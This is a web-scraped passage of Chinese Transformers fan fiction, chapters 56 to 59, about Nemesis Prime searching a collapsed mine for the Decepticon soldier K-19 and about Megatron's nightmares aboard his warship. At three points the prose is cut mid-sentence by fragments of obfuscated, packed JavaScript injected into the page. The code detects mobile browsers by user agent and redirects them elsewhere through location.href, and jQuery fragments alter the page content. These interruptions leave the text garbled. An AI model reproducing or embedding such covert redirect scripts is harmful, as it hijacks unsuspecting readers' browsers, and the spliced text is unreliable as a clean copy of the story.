但,也许普神终于偏爱了他们一次。 在小油罐车的再一次呼唤前,一道熟悉得几乎让天灾失态的微弱声音在黑暗中响了起来。 “天……天灾?是你吗?” K-75探出了头来。 油罐车第一次这么高兴看到K-75的头雕。 领袖小跑着跟上去,而天灾已经绕着K-75走了两圈,直到确认K-75没有缺胳膊少腿才放心下来。 “你还活着。”油罐车背后的散热风扇长长的置换出一股热气,那股具象化的焦虑像是此时才松开了一些。 “你还活着!”小油罐车的光学镜终于亮了一些。 K-75被他的反应吓到了,顾不上擎天柱的存在,他被天灾紧紧抓着胳膊像是被抓起来的小白菜。 “额……我当然还活着?”他觑着油罐车的神态斟酌地说道,“你需要我再转两圈吗?” “不,咳,我是说不用了。” 天灾放下他,掩饰性地咳嗽了一声。 “我只是很高兴看到你还活着。”他又重复了一遍,而飞行单位担忧地看着他,像是在担心天灾的情绪模块。 “还有更多机子活下来了吗?”天灾迫不及待地问。 “是的。”闻言K-75才注意到了一旁的领袖,刻在本能里的戒备让他下意识卡了壳,而天灾的存在恰好安抚了他,在擎天柱也向他示意自己此时没有战斗的意愿后K-75继续说道:“他们就躲在里面。” “跟我来。” 就如同他们与天灾的第一次会面,K-75走在前面,天灾跟在他身后,量产机的机翼垂着跨过断裂的加固支架,在短暂的路程后,随着油罐车的大灯扫过黑不见手的角落,几十架量产机密密麻麻缩在里面的画面出现在了他和领袖的光学镜中。 天灾不敢置信,强烈刺眼的光芒从左扫到右又从前扫到后,量产机们被灯光扫到时不适地眯着光学镜,而天灾此时才相信了这是真实的。 全在这里!天灾的火种在内芯里跑来跑去地大喊,几乎所有的量产机全在这里! 他们没有死! 巨大的喜悦一下子冲击了天灾的处理器,他再也顾不上矜持和自己的形象,原生体的本能让他在此时下意识地去追寻自己sire的存在。 小油罐车喜形于色地抓住离他最近的擎天柱的手掌,大力摇晃了几下。 “他们都还活着!” 他对着擎天柱宣泄自己从今晚开始就一直盘旋在火种里的焦虑,年轻的声音大喊着,那股失而复得的喜悦也感染了领袖,尽管所有机子都灰头土脸,但起码他们都还活着。 擎天柱也露出了今晚以来的第一个微笑,他轻轻拍了拍小油罐车的头顶,温暖的气息扑面而来,让后知后觉的天灾愣住了神,像是此时此刻才反应过来自己干了什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288514|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他慌乱地松开了领袖的手,掩耳盗铃般快步走向了缩在一起的幸存者们。 在他身后擎天柱悄悄笑了笑点开内线联络了等在外面的汽车人们。 另一边,天灾走入量产们的包围,一个个检查着他们的伤势。 “所以你们在千钧一发的时候躲进了这里?”天灾说。 “嗯。”K-75回应道。 “算你们逃过一劫,”担惊受怕了一晚上的小油罐车怪言怪语,“我还以为你们真的没留任何后手,就这样傻愣愣地像是石油兔子一样一直待在这里不肯走……” “还算聪明,”他抬了抬下巴,“不然我肯定要狠狠骂你们一顿。” “而且你们不是要走吗?”他叉着腰说,“你们上次就说要从战场脱离,为什么还不走。” “这里是有矿,还是有什么特别珍贵的东西。” “你们前几天还说要远走高飞再也不回来,这就都忘了?” “还是说你们还想着回去霸天虎?” 量产们被他吓得连忙否认。 “既然没什么可留恋的,那一直待在这里干什么!?” 本来不再打算追究的天灾越说越气,最终还是劈头盖脸地将他们都骂了一顿。 “既然伤好了就走啊!现在他们找上来了,如果……你们到底有没有想过这次你们真的可能会死?!” “如果你们想找死就直说,大可不必费这样的周折。”他恶狠狠地说。 “不!当然不是为了这个,普神!”几架地面单位呻吟着为自己“辩驳”。 “我们本来要走了!” “是的,我们本来要走了,我们没想坐在这里坐以待毙!” “但我们留在这里是有原因的!” 有几架机子说漏了嘴。 天灾挑眉。 “原因?” “并不是为了我们自己。”嘈杂的声音中,H-45虚弱的声音响起。 天灾循声看去,此时他才发现往日这架在他们之中罕见的身为战斗单位的机子的胸口被一块尖锐的棱状巨石贯穿了半个火种舱。 蓝色的火种正从胸口裂开的缝隙中苟延残喘,那一刹那,天灾的头上像是淋了一盆冷水,激动的情绪瞬间被消了下去,天灾看着他,抿紧了嘴巴。 他会死的,天灾意识到,这样的伤势H-45活不过今天晚上。 H-45此时还在挣扎着想要坐起来,几架机子拦着他,然而伤势过重,他最终还是放弃了这个选择。 他艰难地置换着空气,小油罐车沉默地快步走到他身前,半跪下来认真听着他的话语。 “是为了你。” 天灾听到H-45气若游丝地说。 “如果我们……走了,那你怎么办呀,小长官。” 虚弱的飞行单位艰难地抬起爪子指了指天灾的胸口。 “如果我们走了,你就真的只有你自己一个人啦。” “我们可不忍心看着小长官你一个机子被丢下。” 他想像自己以前一样开一个玩笑,然而从天灾的表情来看,这并不是一个成功的尝试。 “我们试过了,可石块嵌入他的火种舱……我们不能冒险把它拔出来,”K-75小声且悲伤地在天灾耳边说,“但这样也只是在拖时间……他的火种已经在衰竭了。” “嘿……别打断我,让要死的机子先说完好吗。”H-45不满地说。 他又将视线转向天灾,“所以别自责,K-19和我们商量过了,这是我们自己做出的决定。” “唔!”他痛苦地蜷缩了一下,又强迫自己说道。 “我们想待在你可以找到我们的地方。” “我们想跟在你的身边。” “我……”天灾徒劳地张开嘴巴,感觉自己的发声器如同被什么黏住,干涩哽咽的感觉让他说不出任何的话。 光学镜环顾四周,量产机们眼巴巴地看着他,默认了H-45的回答。 被这么多双光学镜注视,天灾只感觉到一阵荒谬。 他想告诉他们,他根本不值得他们这么做,然而H-45只是信任地看着他,告诉他没有一架量产为他们所做出的决定后悔。 “可……”他张张嘴,“可……” 可我不值得你们做出的选择。 那辆一直不肯示弱的油罐车看着他,看着他们,他想说他们是不是处理器出现了混乱,为什么要对一架一直对他们恶言相向的机子这么好。 天灾知道自己有多么难搞,他的脾气、他的机体、他的能力,甚至于他的存在对于他们而言都是彻头彻尾的灾难,哪一次他们与他的交往不是如履薄冰,小心翼翼,可为什么即便如此他们依然愿意……跟随他? H-45像是知道他要说什么,先一步打断了他。 “因为你值得,天灾,因为你值得。” K-75也跟着H-45的话点着头。 量产们的目光如灼灼火焰烫得油罐车缩回了壳里,天灾再没话说。 也就在此时,救护车姗姗来迟,医官撞开拦路的所有机子风风火火地带着急救箱赶来,也撞开了离H-45最近的天灾。 恍恍惚惚的小油罐车就这样被撞离了人群。 K-75跟在他身后不过一米的距离。 看到天灾还在讪讪地笑。 这个小傻子。 天灾带着难以言喻的心情环视了一周,一丝疑惑随之而来。 他问:“K-19呢?” 量产们和K-75回避他的目光让小油罐车再度感到了更大的不安。 这次,他皱着眉头正色地问道: “K-19在哪里?” 57.我不会让他死在这种地方 寂静。 令人恐惧的寂静。 量产机们的目光包含着一种天灾不懂的悲痛,沉默如同悬挂的利刃,摇晃着要刺穿油罐车本就破碎的火种。 磁场随着天灾的询问全部紧缩在量产们的机身上,没有一个人敢和天灾对视,飞机们的机翼垂在他们的身后颤抖着,诉说着属于飞行单位的哀悼。 天灾去寻找能给予自己答案的机子,然而就连地面单位也纷纷扭开了面甲,指爪蜷缩着,不肯告诉他那架拯救了所有人的机子如今身在何处。 发问的油罐车猛然意识到了什么。 阴影攀上大型机的机体,掩盖了天灾的面甲,也一同掩盖了主人的恍惚,机体急促地嗡鸣着,身上的管线嘎吱作响,他维持了一种冷酷的漠然去追寻K-75的答案。 寂静中油罐车机体上的颤抖如此明显,没有一架机子敢和他对视。 这怎么可能发生呢? 天灾想。 K-19,明明他才是将他们所有人从死亡的阴影里拽出来的机子。 是这些量产机中最聪明也最特殊的机子。 更是那个将天灾自己从泥沼中拉起来的机子。 他怎么敢…… 天灾的嘴唇颤抖着,不肯说出那个显而易见的答案,他张开口又紧紧地闭上。 K-19才是那个说要陪着天灾的机子! 他怎么敢死在这种地方! Liar! 火种在内芯嘶吼欺骗,表面上天灾却依然保持了一种令人恐怖的冷静,他盯着K-75,试图从他的口中得到一个确切的答案。 领袖担忧的询问没能传入他的系统,救护车的吼叫没有分散他的注意,隔板和大黄蜂的低声交谈没能打断他的注视,阿尔茜的沉默没有引来他的质疑。 猩红的目镜只是注视着那唯一一个有资格向天灾宣告K-19死讯的机子。 K-75强迫着自己开口,发声器重启又下线,天啊,他真的,他不能,K-75在火种中痛苦地退缩,他做不到。 他做不到将K-19死亡的消息告诉天灾! K-75看着油罐车,几次开口都没能发出一个音频符号。 他该告诉天灾什么。 告诉他,我看见当灾难来临、爆炸从天而降时,他的朋友、他们的同伴,那架不可思议的机子被一块巨石压成了粉末,变成了又一个象征量产机天生低劣的证明吗? 告诉天灾,那架被他们视为奇迹本身的机子连一句哀嚎都没有就消失在了灰尘中吗? 他不能告诉天灾这些。 他不能告诉那个将K-19看得那么重要的天灾——K-19可能早在他到来之前就孤独地死在了黑暗之中。 他不可能做到让那架对K-19萌生了好感的油罐车亲耳听到自己的无能为力。 K-75痛苦地想,他做不到,这样对他太残酷了。 作为唯一那个知道连天灾和K-19本人都还没察觉到这份特殊的情感的机子,他不能告诉天灾这些。 那架油罐车会碎掉的。 飞行单位的火种在内芯中说,天灾会碎的,哪怕天灾从不曾对K-19以外的人诉说,可天灾的光学镜不会说谎,量产机们无数次死里逃生的经历不会说谎。 那辆油罐车已经遭受够磨难了。 他看着天灾的面甲和那双似乎毫无波动的光学镜,最终一句话也没能说出来。 可天灾没有碎掉。 在这种绝望的沉默中,天灾看着K-75几次的欲言又止,闭上了光学镜。 他转身朝着更深的黑暗中而去。 “你……你要去哪儿,天灾?” 人们在他身后问。 而那架油罐车平静地说: “救援工作还没完成。” 量产机们瞪大了光学镜,救护车的光学镜看起来忧心忡忡。 可…… 已经没有幸存者了。 天灾却维持着那种执拗,忽视了他们的担忧与迟疑,一步没有回头。 “还有人等待着救援。” 他说:“我要去完成我的工作。” 他像是要说服自己,强调。 “还有人没被救出来。” “我要去救他。” 一瞬间,不管是擎天柱与他的汽车人们,还是身后蜷缩在一起的量产机们,都从那架不肯接受现实的油罐车身上感受到了一种令人毛骨悚然的冷静。 天灾紧紧攥着手,拳头咔拉作响,矿洞的空气依然浑浊不堪夹杂着能量液的甜味和腐烂机体的腥臭,置换之间与灰尘一同附着在他们的呼吸系统中,让机体的每一次运作都传出不详的噪音,可天灾依然没有停下。 他最后回过头看向他身后注视着他的机子们,那里有灰头土脸恐惧不堪的量产士兵,也有面面相觑不知所措的汽车人。 他的sire湛蓝的光学镜注视着自己,无声询问着担忧。 天灾刻意忽视了领袖的目光,他毫无留恋地转过头去。 这里有着所有人。 却唯独少了那架承诺过会陪伴他、会找到他、身上总带着泥土味的机子。 天灾舔了舔自己因为缺乏润滑而开裂的唇角,最后一次宣告道: “我要去救他。” “我救出了你们,”他低声说,“我也会救出K-19。” 油罐车咬牙切齿着,目镜中射出的红光劈开前方的黑暗,也照亮被巨石堵住的矿场。 “我不允许他死在这种地方。” …… K-75看着天灾,不知道该做什么。 如同被天灾甩在身后的所有量产机们一样。 这就是他们所想要跟随的机子,他意识到。 这就是K-19愿意赌上自己的所有信任的机子。 敢与向死亡宣战的傲慢和不肯向现实低头的倔强。 这就是天灾。 原来这就是K-19所感受到的。 那小子,竟然敢先于他们那么多时间知道这件事。 K-75轻笑了一声。 飞行单位的机体上还残留着死亡过后本能的颤栗,然而,K-75踉跄几下,身边的同伴向他搭了一把手,他得以站直机体,跟在了天灾身后。 “我跟你去,”他说,“我知道他的具体方位,我带你去。” 如果天灾相信希望的话,那他也会相信。 如果天灾想向不可战胜的对手宣战的话,那他也会继续跟随他所指的方向前进。 他愿意向一个不会看轻任何一条生命的领袖宣誓忠诚。 他现在明白了为何K-19早在他们之前就向天灾献上了自己的所有。 量产机们窸窸窣窣的声音跟随在他们身后响起,K-75没有回头看,但他知道自己的同伴们,他同模的、从同一条流水线下来的同伴们彼此搀扶着瘫软的机体,跟在天灾的身后。 是呀,擎天柱,汽车人的领袖,尊重、爱护所有有感知生命自由的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300729|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正的领袖。 他们也曾不知多少次听闻他的仁慈与善良,感慨赛博坦最后一位领袖的慈悲之名。 然而,他没能成为他们的选择。 不是放弃、不是不适合,而是不能。 诞生自霸天虎的杂兵从一开始就不可能逃离霸天虎的掌控,他们的出身早就拒绝了他们去选择。 在他们意识到汽车人与霸天虎到底意味着什么之前,量产士兵的生命早就被局限在了矿井与战场。 直到他们甚至没有意识到,他们可以抬起头去寻找矿洞洞口中泄露而出的月光。 更遑论他们本可以走出矿洞,走出去,去用自己的机体感受恒星的温度照耀在装甲上到底是一种什么样的感觉。 如果他们可以,他们会为之感到遗憾的。 然而威震天更不是他们的救世主。 但现在他们重新找到了归属。 油罐车在难以撼动的岩石前宣泄着自己的愤怒,石块掉落砸在地面发出声响,猩红的光学镜迸发出震撼人心的力量与坚定。 汽车人跟随在他们身后,沉默而震撼。 一种凝结在一起的复杂磁场裹挟着他们,连带着领袖也随之默然。 所有人都在寻找着那架可能早被判给普神的量产机。 擎天柱在自己的造物身旁,举起手炮和天灾一起轰向拦路的巨石。 这就是他和威震天的creation。 他在挖掘间隙仔细地描摹天灾的面甲。 他不是威震天,更不是擎天柱,但他同威震天一般敢与向命运宣战,也同擎天柱一般不肯向命运低头。 他更暴烈,更温和,像是震天尊,也像是奥利安。 但他不是他们两个造物主之间任何一个的复制品。 领袖看向天灾脚下浮现出的能量液干涸的痕迹,看见天灾不曾动摇的光学镜。 他是擎天柱和威震天纠缠了四百万年才诞生的唯一一个变量。 不知为何,油罐车的下一击炮弹没能延续一如既往的高效率,错误崩裂的锐利碎石直直射向毫无防备的天灾。 “小心!” 一直关注着他的领袖以所有机子都没能反应过来的速度扑倒了对危险一无所知的天灾。 擎天柱比天灾大了整整一号的机体护住了小油罐车,碎石不断砸在他的背部装甲上,领袖没有一丝退缩。 机体违背了蜷缩起来的本能,尽了最大努力伸展开,将天灾的所有机体都压在了自己身下。 直到混乱结束。 其他机子慌忙将他们扶起来,擎天柱轻轻扫了扫自己肩甲上的小石块,而天灾眼神复杂地看着他。 “谢谢。” “你不用道谢,”领袖迟疑着,“你是我的造物。” 迟疑逐渐化为坚定,擎天柱直直看向天灾的光学镜,那双光学镜蓝得惊人。 令天灾下意识地退缩。 “你是我的造物。” 他听见擎天柱告诉他。 领袖的手再度抚上他的头雕,带着天灾从未感受过的温柔与爱护之情。 擎天柱看见油罐车懵懂茫然的眼神,他用自己的额头贴上天灾的额头。 “你不是一个人。” “不要害怕。”他像是一开始在通讯中所说的那样告诉自己依然在恐惧的creation。 “我在这里。” “我们在这里。” “你不是一个人。” “永远不再是了。” 58.敲打 霸天虎战舰。 声波默默在任务列表上划去一个待办事项,冰冷的面罩反射出仪表盘深红色的文字。 针对底层劳工阶级的惩戒任务不过是这艘战舰上最微不足道的一件事,他转过身,情报官构造独特的机体从无人注意的阴影中走过,在连日暴躁的副官身前停下。 搜寻者明显被他的神出鬼没所惊吓到,身后的机翼都在耸起,磁场更是一惊一乍地碰撞在声波的机体上发出了刺耳的声音。 声波像是完全享受着红蜘蛛的惊吓,在副官谄媚又故作镇定的声音里,一道音频被放了出来。 “「别去触碰自己不该涉足的东西」” 那是红蜘蛛自己的声音。 那是他在和击倒交代任务时他用来告诫红色的跑车的属于他自己的声音。 洋洋得意的尾音消失在众目睽睽的战舰大厅中。 冷凝液一下子被吓了出来,红蜘蛛张扬的磁场瞬间收缩回了机体上,他紧紧盯着声波的面罩,警惕着。 情报官在副官尖锐的注视下不为所动,再度播放了一遍对话。 所有的机子都默默竖起了音频接收器,关注着霸天虎的副官与情报官沉默的交锋。 “……你想做什么呢,声波。”红蜘蛛的话带着不以为然的轻松与恰到好处的意外。 声波知道这是红蜘蛛管用的伎俩,装傻充愣,哪怕他明知道声波是为了什么才站在他跟前。 但游击精于算计的脑模块却显然在谋权篡位上少了一根筋。 就像他不清楚声波现在的来意也没有搞清楚为何威震天陛下会将一个小小的惩戒任务交由他,更不懂为什么他会失去手里的权力。 如果声波还保留着自己的情感模块,他知道自己会对眼前重复上演了千万遍的戏码感到厌烦的。 但这是威震天陛下交给他的任务,所以声波会完成它,就像以往四百万年他一直在做的那样。 “「不要——觊觎——不属于你的——权力」” 被拼凑出来的声音夹杂着红蜘蛛、击倒和威震天的声音,听起来怪异而恐怖,在寂静无声的空旷战舰甲板上更显得震耳欲聋。 这一次,红蜘蛛终于反应过来声波的来意。 游击火种中的一部分如坠冰窟,另一部分却恨得牙根痒痒。 他如何还能不清楚声波的来意。 这是杀鸡儆猴。 威震天将轰炸任务交给他,让曾经对威震天“阵亡”太空桥事故负有背叛嫌疑的红蜘蛛去处理同样背叛了威震天试图逃离霸天虎掌控的量产士兵。 那些叛逃的量产兵不过是引子。 红蜘蛛才是被真正警告的那个“猴”。 但这也向红蜘蛛透露了一个显而易见的信息——他搞的那些“小动作”被威震天宽恕了。 红蜘蛛在火种中冷笑,之前几日的惶惶不安仿若错觉。 尽管他知晓自己的权力一时半会儿还回不来,威震天对自己也一定加强了戒备,但这就是权力制衡最美妙的地方。 威震天缺人,非常的缺,以至于他能忍下红蜘蛛的谋反,继续重用他。 而红蜘蛛知道这就是威震天的死因。 除此之外…… 副官的余光瞥过在这个大厅中工作的其他量产士兵,明白声波选择在此时播放录音也并非偶然。 他在敲打红蜘蛛,又何尝不是在敲打他们手下的这些消耗品不要起不该起的心思。 思维灵活的游击立刻在面甲上挂上了一副诚惶诚恐的神情,配合情报官的来意,卑微地告诉声波自己对霸天虎大业绝无二心,向声波背后真正代表着的霸天虎君主宣誓自己的“忠心耿耿”。 他表现得惶恐不安,但所有人都清楚这不过是副官惯用的邀宠伎俩。 在副官大声的忏悔中,情报官播放的“叛逃量产机”被全歼的影像夹杂着被压死在矿洞中量产机的哀嚎响彻在战舰中的每个量产机的音频接收器中。 情报官的光学镜调整着角度,透过连接到战舰各处的监视器记录着每架量产机的反应。 精密的仪器在量产士兵们磨损的指尖下嘀嘀响动着,战舰上维持了一如既往的宁静。 良久,在红蜘蛛最后的结束语中,声波得到了满意的答案,情报官毫不拖泥带水地在银色的搜寻者愤恨与嫉妒的目光中转身离去。 是啊,去告诉你的主子吧。红蜘蛛隐晦地翻了个白眼,在火种中低声咒骂。告诉他你才是他最爱的那条忠诚的狗。 情报官早就离开了这里自然无缘知晓红蜘蛛的小声蛐蛐,不过如果他知道多半也不会在意,在他们四百万年的战争中声波早已承担了足够多的谩骂与诅咒,但事实证明声波优越,所有咒骂他的机子无不对他毕恭毕敬,而那些试图将他从高位上拉下来的机子要么死了要么失踪了。 最后站在这里,成为威震天左膀右臂的机子依然是他声波。 CPU中关于K-19的记录也被重新归档,进入了情报官性能优越的处理器中代表失效的文档中。 由矿机短暂的一生凝结成的薄薄一页的资料也被扔进了垃圾箱。 K-19的确是一架有一点特殊的机子,他是量产士兵被霸天虎投入生产以来第一架试图逃离掌控并且成功做出了“成绩”的机子,从这一点上声波给予他该有的重视。 但也仅此而已了。 情报官站在威震天的休息室前敲响门扉。 他的确曾经有那么一刻几乎瞒住了所有有可能得知此事的上级军官,但也只是“几乎”,他忘记了最重要的一点。 他身处在霸天虎之中。 而声波永远在聆听。 敲门的声音响起了第二遍,情报官歪了歪头,这是不同寻常的。 在伺服器即将敲响第三遍前,威震天的声音终于传了出来。 “进来。” 霸天虎君主的声音听起来有些异同寻常的疲惫,但质疑不是声波该做的,他只是在霸天虎君主站在透明玻璃前凝视着什么的机体后站定。 内线中发送了任务完成的图标。 威震天看着窗外地球的星空没有给出任何指示。 情报官隐藏在面罩下的眉头这次是真的皱起来了。 有什么不对劲。 但在尽职尽责的情报官发问前,威震天转过了身,那双渗人的光学镜中依然是那样的坚定和具有威慑感,仿佛刚刚声波感受到的不同寻常都是他的错觉。 声波收回了自己的怀疑。 “……干的很好。”终于,威震天慢条斯理地表达了自己的满意,看起来没有任何异常。 声波的疑惑被打消了,情报官也在此时将自己在地球几日内整理好的对现有汽车人行动轨迹的总结、人类的威胁性报告与红蜘蛛的最近动向事无巨细地发送给了威震天。 他等待着威震天的指示,为陷入停滞几个周期的霸天虎下达命令。 对眼前被整理得井井有条的信息,霸天虎的君主微微颌首。 “去忙你的吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300730|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这便是事后再发布命令的意思了。 情报官没有任何怨言地微微欠身,将空间再度留给了威震天。 随着深紫色机体消失在视野里,威震天也松下了耸起的肩膀。 他发出了一声痛苦的喟叹。 如果声波再鼓起胆子去观察,会发现这位身居高位的首领的整个背部装甲都已经被冷凝液渗透了。 光学镜中也隐隐浮现出紫色的光晕。 在声波敲响舱门前,威震天刚刚经历了一波噩梦。 那看不清容貌的邪神依旧蛊惑着他,絮絮叨叨的劝说在近日逐渐变成了不耐烦的训斥。 然而霸天虎油盐不进的君主很快让这位传说中的人物失去了耐心,言语诱导在今天晚上终于变成了对威震天精神上的折磨。 在声波敲响舱门前,威震天刚刚在自己的梦境中与邪神进行了一次艰难的抗衡。 他不清楚宇宙大帝到底想要他做什么,但是日复一日的噩梦造成了非常明显的负面影响。 最表面的,银色的战机已经很久没有舒坦地充过一次电了。 这让威震天的精神状态更加岌岌可危。 红蜘蛛这几日的暴躁在威震天藏在火种中压抑的怒火面前不过是小巫见大巫。 收回副官的权力、残酷镇压量产机的骚乱不过是威震天日渐暴躁的脾气的开胃菜,他真正想做的是找出那该死的邪神让这不让机清静的炉渣再也不敢冒犯霸天虎真正的主宰者。 混乱的磁场随着威震天自己的调整逐渐安稳下来,他沉默地思索着。 汽车人的可支配战力日渐掣肘,霸天虎这边何尝不是。 威震天手里攥着的底牌屈指可数,而手底下的军官又各有心思,一旦威震天显露出了自己的疲软,先不提红蜘蛛,其他的机子也不会放过这个机会。 他们也许不会动威震天,但他们会将自己头顶的机子从权力上拽下来,促使霸天虎内部的权力宝座再次洗牌。 那是威震天目前不想看到的。 他坐在椅子上,揉了揉自己隐隐作痛的眉心。 他不想意识到在这连日的噩梦中又有多少次是汽车人领袖或关心或坚定的目光将自己从混乱中拽回现实。 他们走得太远,也走得太久,远到威震天不再思考自己的来路,久到霸天虎的君主不再有心思去握住领袖伸过来的手。 在这疲惫之中,他深深地闭上光学镜,再睁开时光学镜中已经没了那浅浅一圈的紫色。 不过既然那邪神对黑暗超能量体有反应,他便更不能让那邪神如愿。 威震天冷笑一声。 他从来不按照任何人安排好的道路走。 他是威震天,第一个向无上的权力提出质疑的反抗者,他不会任凭一个只敢在脑模块中作乱的莫须有的神明对他颐指气使。 从前的议会不行,现在的汽车人不行,横亘了时间的神明更不行。 不过提到战力…… 威震天微微沉吟,尖锐的爪子在数据板上划过。 黑暗超能量体暂时不能动,起码在他找到制衡宇宙大帝让邪神为他服务之前不行。 那么…… 他需要更多的助力,召回流散在宇宙中的霸天虎是一个办法,更快的办法是…… 天灾的问题也许应该被提上议程。 考虑到黑暗超能量体的优势已经荡然无存。 他再度点开声波的内线。 「我有一个新的任务交给你。」 他说。 59.模拟 “还没有吗?” “不行,设备没有反应。” “生物反应呢?” “没有……没有捕捉到任何生物反应!” 天灾暗骂了一声,抿紧了嘴唇。 偌大的矿洞此时只剩下了天灾与跟在他身后的K-75。 汽车人们在轮班休息并帮忙救护车照顾伤员,量产的士兵们也在天灾的要求下大部分都转移到了洞外避免二次坍塌造成不必要的死伤。 嗖嗖风声从不知何处的缝隙吹了出来带来一丝凉意,然而丝毫没有缓解在场的两个机子内心中的焦躁。 K-75的机翼颤抖,臂甲上搜寻火种频率的仪器嘀嘀作响,报着毫无结果的答案。 K-75的光学系统一边盯着仪器的表盘,一边频繁地看向站在所有人跟前的天灾。 时间一分一秒地过去,K-19获救的希望越加渺茫。 油罐车身上的气势也逐渐骇人,身上的生物光带带着不祥的频率缓慢闪动着,凛冽的目镜阴沉晦暗,频繁使用的武器也终于来到了能量超载的临界点,使得手部的装甲都泛着滚烫的红。 他紧皱着眉寻找他们到底遗漏了什么。 天灾眼神凝重地扫视过眼前的一片狼藉。 坍塌的矿洞在所有机子的一起努力下已经清理出了大概的范围,零星的能量液和装甲掉落的细小碎片散落在地,但大部分的地方依然被碎石阻挡,更糟糕的是他们寻找的那架机子依然毫无踪迹。 有什么不对。 油罐车托着下巴思索到,如果当时的情况真如K-75所言,K-19是那个最先知道消息从洞口跑进来的机子,那他就不可能跑出主矿场的范围。 要警告位于最深处藏着的同伴们,从这里走是最近的路线,情况紧急K-19也不可能在那么短的时间内规划出一条新的路线。 …… 他沉思片刻,决定用他自己的CPU进行真实的场景模拟以推测K-19可能所在的位置。 霸天虎的攻击最先从矿洞的上方投掷,余下的则大多是冲着矿洞的四周落下的,目的是造成最大规模的坍塌使他们被活埋在地下,而不是精准狙杀。 油罐车站在曾经击倒站过的位置模拟出了K-19跌跌撞撞的背影。 K-19在得知这一点后,本能地沿着CPU熟悉的路线径直穿过主矿场。 天灾走到了矿场的中心。 从这里距洞口112米,已经完全隐没在黑暗之中,车前灯照亮他眼前被石块彻底掩埋的洞口,对,这也是K-75他们本来应该逃进去的庇护所。 在电光火石间,矿机判断出这处庇护所的加固远没有天灾找到他们时量产机们所待的那个矿洞结实,而他的判断没有错。 K-75他们正因此才得以获救。 但还有什么没被注意?天灾的记忆模块努力回想着最后看到K-19的机子告诉他的话。 天灾晃晃头雕将K-19可能已经回归火种源的可能性丢出脑海。 火种中有股隐约的胀痛,像是装甲上未愈合的疤痕,也像是天灾缺失的那部分模块中重新进化出的电子回路,让他不敢去深究其中代表的可能性。 手爪抚上自己的火种舱,又在任何人注意到之前放了下来。 油罐车极为优秀的耳力能听见洞口外隔板与阿尔茜小声讨论着K-19存活的几率,救护车报出了一个近乎绝望的数字。 K-75身上焦虑的磁场紧紧缠绕在量产机的机体上,所有人都在尽力寻找他。 然而这一切都无法避免地向着最后的终局前进着。 死亡近在眼前,天灾没办法告诉自己在这个紧绷的夜晚哪怕放松一瞬,即便他在前半夜刚与人类的军方有了一场不太和谐的谈话。 天灾闭上光学镜,K-19苍白的机体、熄灭而空无一物的火种舱便出现在他的眼前。 今晚的一幕幕重复地在他眼前上演。 他听见H-45的话不断地在自己耳边重放,他们说没关系这不是你的错,他们说没关系他们不会怪你,他们说没关系因为这一切他们早有所料甘之如饴。 可他做不到真的将这一切视为理所当然。 他们留在这里是为了他。 如果他没有和他们建立羁绊,他们本可以一走了之。 霸天虎不会找到他们,威震天也不会对几架毫无威胁力的机子派出人员搜捕。 他们原本可以获得自由。 天灾梦寐以求的自由。 他想起数据库中记录的赛博坦的锈海,想到他曾站在贾斯帕最高的山峰上眺望到的裂谷。 他们都一样在熟练一切前便先知晓了一切,可他们却比天灾多了一份机会,一份天灾亲自为他们争取到的通向自由的机会。 可那些一无所有的机子却向天灾献上了自己的忠诚——天灾回馈不了的忠诚。 极为相似的一幕曾几何时也在天灾自己身上上演。 他向塞拉斯上交了自己的忠诚,可也是他的忠诚让他沦落到这种地步。 油罐车的目镜隐隐浮现戾气,他憎恨着这一切,也恐惧着这一切。 他根本做不到回应他们忠诚的份量,那些士兵们,他们根本不知道自己亲手向天灾献上了一件多么珍贵的宝物。 为什么他们就没有想过,天灾也许根本不是他们想象的那样是一个值得追随的……“领袖”? 哈。 领袖。 天灾从诞生之初就不是为了成为一个“领袖”。 如果他真的是领袖,这一切根本就不会发生。 他们将他当做了领袖的复制品吗。 可他更不是擎天柱的复制品。 他是天灾,是原生体,是战争兵器,是威震天与擎天柱的creation,但他永远不是任何人的复制品。 油罐车几乎是再度感受到了那股被压下去的悲伤和愤怒在自己的情绪模块中肆虐。 一直在高效运转的CPU发出抗议,天灾充耳不闻。 矿洞平面的剖析图被从记忆模块中调取出来,复杂的地形与可能的埋藏点在他的CPU中旋转、解析,最终与先前的模拟数据相结合。 情绪模块在接连的冲击下敞开了一个口子让其中细腻的情感流淌而出。 他至今也没有理解K-19在他询问为什么他们接纳了他时给出的理由,那甚至根本不算是一个答案。 K-19的面甲在他眼前再次一闪而过。 油罐车的火种不受控制地跳了一下。 他站在碎石铺满的地面想起K-19在自己崩溃时轻轻蹭过来的机翼,想起矿机粗粝的指尖按揉的力度,想起K-19向自己展示过的一切。 